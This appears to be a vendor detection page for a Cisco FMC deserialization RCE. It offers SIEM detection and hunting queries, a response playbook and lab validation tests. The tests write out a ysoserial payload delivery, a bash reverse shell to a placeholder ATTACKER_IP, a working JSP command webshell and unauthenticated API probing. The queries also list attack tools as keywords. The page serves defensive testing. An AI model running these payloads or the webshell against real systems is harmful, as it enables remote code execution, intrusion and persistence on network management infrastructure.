CVE-2026-20131

Cisco FMC/SCC Deserialization RCE Exploitation (CVE-2026-20131)

Detects exploitation of CVE-2026-20131, a deserialization of untrusted data vulnerability in Cisco Secure Firewall Management Center (FMC) and Cisco Security Cloud Control (SCC) Firewall Management. Successful exploitation allows unauthenticated or authenticated remote attackers to execute arbitrary commands on the underlying OS. This CVE is listed in CISA's Known Exploited Vulnerabilities catalog.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
Cisco
Product
Secure Firewall Management Center (FMC)

Weakness (CWE)

Timeline

Disclosed
March 19, 2026

CVSS

10.0
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Write-up coming soon

What is CVE-2026-20131 Cisco FMC/SCC Deserialization RCE Exploitation (CVE-2026-20131)?

Cisco FMC/SCC Deserialization RCE Exploitation (CVE-2026-20131) (CVE-2026-20131) maps to the Initial Access and Execution and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Cisco FMC/SCC Deserialization RCE Exploitation (CVE-2026-20131), covering the data sources and telemetry it touches: CommonSecurityLog, AzureNetworkAnalytics_CL, DeviceNetworkEvents, Syslog, ThreatIntelligenceIndicator. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement
Microsoft Sentinel / Defender
kusto
let suspiciousUAParts = dynamic(["java", "python-requests", "curl", "wget", "exploit"]);
let fmcPorts = dynamic([443, 8080, 8443]);
union
(
  CommonSecurityLog
  | where DeviceVendor == "Cisco" and DeviceProduct has_any ("Firepower", "FMC", "FireSIGHT")
  | where Activity has_any ("deserialization", "java.lang.Runtime", "ProcessBuilder", "ClassLoader", "ObjectInputStream")
  | project TimeGenerated, DeviceVendor, DeviceProduct, SourceIP, DestinationIP, Activity, AdditionalExtensions
),
(
  AzureNetworkAnalytics_CL
  | where L7Protocol_s == "https" and DestPort_d in (fmcPorts)
  | where FlowStatus_s == "A"
  | join kind=inner (
      ThreatIntelligenceIndicator
      | where Active == true and NetworkIP != ""
      | project ThreatIP = NetworkIP, ThreatType
    ) on $left.SrcIP_s == $right.ThreatIP
  | project TimeGenerated, SrcIP_s, DestIP_s, DestPort_d, ThreatType
),
(
  DeviceNetworkEvents
  | where RemotePort in (fmcPorts)
  | where InitiatingProcessFileName in~ ("java", "java.exe", "sh", "bash", "python", "python3")
  | where RemoteUrl has_any ("fmc", "firesight", "firepower")
  | project TimeGenerated, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine
),
(
  Syslog
  | where SyslogMessage has_any ("deserialization", "ObjectInputStream", "ClassNotFoundException", "java.lang.Runtime.exec", "ProcessBuilder")
  | where Computer has_any ("fmc", "firesight", "sfmc")
  | project TimeGenerated, Computer, SyslogMessage, HostName
)
| order by TimeGenerated desc

Detects CVE-2026-20131 exploitation via Cisco FMC deserialization abuse. Correlates suspicious Java deserialization indicators in FMC logs, threat-intel-matched inbound connections to FMC ports, and process anomalies on FMC host systems.

critical severity medium confidence

Data Sources

CommonSecurityLog AzureNetworkAnalytics_CL DeviceNetworkEvents Syslog ThreatIntelligenceIndicator

Required Tables

CommonSecurityLog AzureNetworkAnalytics_CL DeviceNetworkEvents Syslog

False Positives

  • Legitimate Java-based administrative tools interacting with FMC API may trigger deserialization log entries
  • Vulnerability scanners or pen-test tooling targeting FMC management interface
  • Internal monitoring agents using Java runtimes on FMC host

Sigma rule & cross-platform mapping

The detection logic for Cisco FMC/SCC Deserialization RCE Exploitation (CVE-2026-20131) (CVE-2026-20131) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Deserialization Payload Delivery to FMC-like Endpoint

    Expected signal: Network logs: POST to /j_spring_security_check with binary Content-Type. Process logs: java process spawning 'id' command. File creation event for /tmp/rce_proof.txt.

  2. Test 2Spawn Reverse Shell from Java Process (Post-Exploitation Simulation)

    Expected signal: ProcessRollup2 event showing java parent spawning bash child. NetworkConnectIP4 event for outbound TCP to attacker IP on port 4444.

  3. Test 3Drop Webshell on FMC Tomcat Webroot (Post-Exploitation Persistence)

    Expected signal: File creation event for .jsp file in Tomcat webroot. Syslog entry for file write by java or tomcat process user.

  4. Test 4Enumerate FMC Management API Without Authentication (Pre-Exploitation Recon)

    Expected signal: Web server access logs showing GET/POST to /api/fmc_platform/ and /api/fmc_config/ from an external IP. 401 or 200 responses logged.


Response Playbook

Triage

  1. Identify the FMC appliance version and confirm whether it falls within the affected range per Cisco advisory cisco-sa-fmc-rce-NKhnULJh. Cross-reference with your asset inventory.
  2. Review inbound HTTP/HTTPS logs to the FMC management interface (ports 443, 8080, 8443) for anomalous request patterns, especially POST requests with large or binary payloads to Java servlet endpoints.
  3. Check FMC application logs (/var/log/sf/, /var/log/tomcat/) for Java deserialization exceptions (ClassNotFoundException, InvalidClassException) or unexpected process forks from the Tomcat service account.
  4. Correlate source IPs with threat intelligence. If the originating IP is known-malicious or located in an unexpected geography, escalate priority immediately.

Containment

  1. Immediately restrict access to the FMC management interface to trusted management IPs only via ACL or firewall rule. If FMC is internet-facing, take it offline until patched.
  2. If active exploitation is confirmed, isolate the FMC host from the network (or quarantine the VM/container) to prevent lateral movement. Do not power off — preserve volatile memory for forensics first.

Evidence Collection

  1. Capture a full memory dump of the FMC host before rebooting or remediating: `sudo avml /external/fmc-memdump.lime` or use LiME kernel module on Linux-based FMC appliance.
  2. Collect relevant logs: /var/log/sf/*, /var/log/tomcat/catalina.out, /var/log/secure, /var/log/audit/audit.log, bash history for all accounts, and a list of all active network connections (`ss -antp`) and running processes (`ps auxf`).

Escalation Criteria

  • ! Escalate to IR if any process spawned by the FMC Tomcat/Java service is identified (e.g., bash, python, nc, wget) — this confirms successful RCE and post-exploitation activity.
  • ! Escalate immediately if the FMC manages production firewalls protecting critical infrastructure; an attacker with FMC RCE can modify firewall policies, create VPN backdoors, or exfiltrate the full network policy database.

Investigation Guide

Forensic Artifacts

  • > Tomcat access logs showing POST to serialization-handling endpoints (e.g., /j_spring_security_check, /api/fmc_*) with unusual content-type or payload size
  • > Java heap dumps or crash dumps in /var/log/sf/ or /tmp showing deserialization stack traces
  • > Unexpected crontab entries, new user accounts, or SSH authorized_keys modifications post-compromise
  • > New .jsp, .war, or .class files dropped in Tomcat webroot or /tmp indicating webshell deployment

Tuning Guidance

Start by baselining legitimate FMC management traffic: identify all authorized admin source IPs and management VLANs, and add them as exclusions to reduce noise. The deserialization keyword matches are high-fidelity if seen on the FMC host itself but may fire on log aggregators — scope by hostname. For process-spawn detections, whitelist the known FMC update PID chain after reviewing a maintenance window. The network-based detections (external IPs connecting to FMC ports) will be noisy in environments where FMC is internet-accessible — these environments should be considered misconfigured and the detection should serve as a configuration alert as well.


Hunting Queries

Hunt for FMC API calls originating from non-administrative source IPs with unusual HTTP methods or oversized payloads in the last 30 days

Hunting — KQL
kql
CommonSecurityLog
| where DeviceProduct has_any ("Firepower", "FMC", "FireSIGHT")
| where RequestMethod in ("POST", "PUT") and RequestURL has_any ("/api/fmc", "/rest/fmc", "/j_spring")
| summarize count(), max(RequestBytes) by SourceIP, RequestURL, bin(TimeGenerated, 1h)
| where max_RequestBytes > 50000 or count_ > 100
| order by max_RequestBytes desc
Hunting — SPL
spl
index=cisco_fmc sourcetype=cisco:fmc:syslog
| rex field=_raw "(?i)(POST|PUT) (?P<uri>/[^\s]+)"
| rex field=_raw "(?i)bytes=(?P<bytes>\d+)"
| where like(uri, "%/api/fmc%") OR like(uri, "%/j_spring%")
| eval bytes=tonumber(bytes)
| where bytes > 50000
| stats count, max(bytes) as max_bytes, values(src_ip) as src_ips by uri
| sort - max_bytes

Atomic Red Team Tests

Test 1 Simulate Deserialization Payload Delivery to FMC-like Endpoint
linux

Uses ysoserial to generate a Commons Collections deserialization payload and delivers it to a local test HTTP endpoint mimicking FMC's Java servlet. Lab use only — do not run against production FMC.

Command

bash
# Prerequisites: Java, ysoserial.jar in current directory
# Step 1: Generate payload
java -jar ysoserial.jar CommonsCollections6 'id > /tmp/rce_proof.txt' > /tmp/deser_payload.bin
# Step 2: Deliver to test endpoint (replace TARGET_IP with lab FMC IP)
curl -s -k -X POST https://TARGET_IP/j_spring_security_check \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @/tmp/deser_payload.bin
# Step 3: Verify RCE
cat /tmp/rce_proof.txt

Cleanup

bash
rm -f /tmp/deser_payload.bin /tmp/rce_proof.txt

Expected Telemetry

Network logs: POST to /j_spring_security_check with binary Content-Type. Process logs: java process spawning 'id' command. File creation event for /tmp/rce_proof.txt.

Expected Detection

EQL sequence rule and Splunk deserialization keyword rule should fire. Chronicle YARA-L PROCESS_LAUNCH rule should detect Java spawning 'id' process.

Test 2 Spawn Reverse Shell from Java Process (Post-Exploitation Simulation)
linux

Simulates post-deserialization command execution by having a Java process spawn a bash reverse shell, mimicking what an attacker would do after successful CVE-2026-20131 exploitation.

Command

bash
# On attacker machine: start listener
nc -lvnp 4444 &
# On FMC lab host: simulate Java spawning reverse shell
java -cp . -e java.lang.Runtime.exec 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Alternative using ProcessBuilder simulation
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Cleanup

bash
kill %1 2>/dev/null; iptables -D INPUT -p tcp --dport 4444 -j ACCEPT 2>/dev/null

Expected Telemetry

ProcessRollup2 event showing java parent spawning bash child. NetworkConnectIP4 event for outbound TCP to attacker IP on port 4444.

Expected Detection

CrowdStrike CQL parent-child process chain rule. Elastic EQL sequence rule stage 2 (process where parent is java/tomcat).

Test 3 Drop Webshell on FMC Tomcat Webroot (Post-Exploitation Persistence)
linux

Simulates an attacker dropping a JSP webshell after achieving RCE via deserialization, to establish persistence on the FMC host.

Command

bash
# Simulate writing a webshell to Tomcat webroot (FMC uses Tomcat)
# In a lab: substitute path with your test Tomcat webroot
SHELL_PATH='/opt/tomcat/webapps/ROOT/shell.jsp'
cat > $SHELL_PATH << 'EOF'
<%@ page import="java.io.*" %>
<%
  String cmd = request.getParameter("cmd");
  Process p = Runtime.getRuntime().exec(cmd);
  InputStream is = p.getInputStream();
  int c;
  while ((c = is.read()) != -1) out.print((char)c);
%>
EOF
chmod 644 $SHELL_PATH
echo "Webshell written to $SHELL_PATH"

Cleanup

bash
rm -f /opt/tomcat/webapps/ROOT/shell.jsp

Expected Telemetry

File creation event for .jsp file in Tomcat webroot. Syslog entry for file write by java or tomcat process user.

Expected Detection

Elastic EQL sequence rule stage 3 (file where extension is jsp in webroot). Sumo Logic and QRadar keyword rules if file creation is logged. CrowdStrike file creation telemetry.

Test 4 Enumerate FMC Management API Without Authentication (Pre-Exploitation Recon)
linux

Simulates attacker reconnaissance against the FMC REST API to enumerate version information and accessible endpoints before exploiting CVE-2026-20131.

Command

bash
TARGET_FMC='TARGET_IP'
# Attempt unauthenticated version disclosure
curl -sk https://$TARGET_FMC/api/fmc_platform/v1/info/serverversion | python3 -m json.tool
# Enumerate available API paths
curl -sk https://$TARGET_FMC/api/fmc_config/v1/ | python3 -m json.tool
# Check for login endpoint exposure
curl -ski -X POST https://$TARGET_FMC/api/fmc_platform/v1/auth/generatetoken \
  -H 'Authorization: Basic dXNlcjpwYXNz'

Cleanup

bash
No cleanup required — read-only network requests.

Expected Telemetry

Web server access logs showing GET/POST to /api/fmc_platform/ and /api/fmc_config/ from an external IP. 401 or 200 responses logged.

Expected Detection

KQL network anomaly detection for non-RFC1918 sources connecting to FMC ports. QRadar magnitude-based alert for repeated API probing from single source.

Related Detections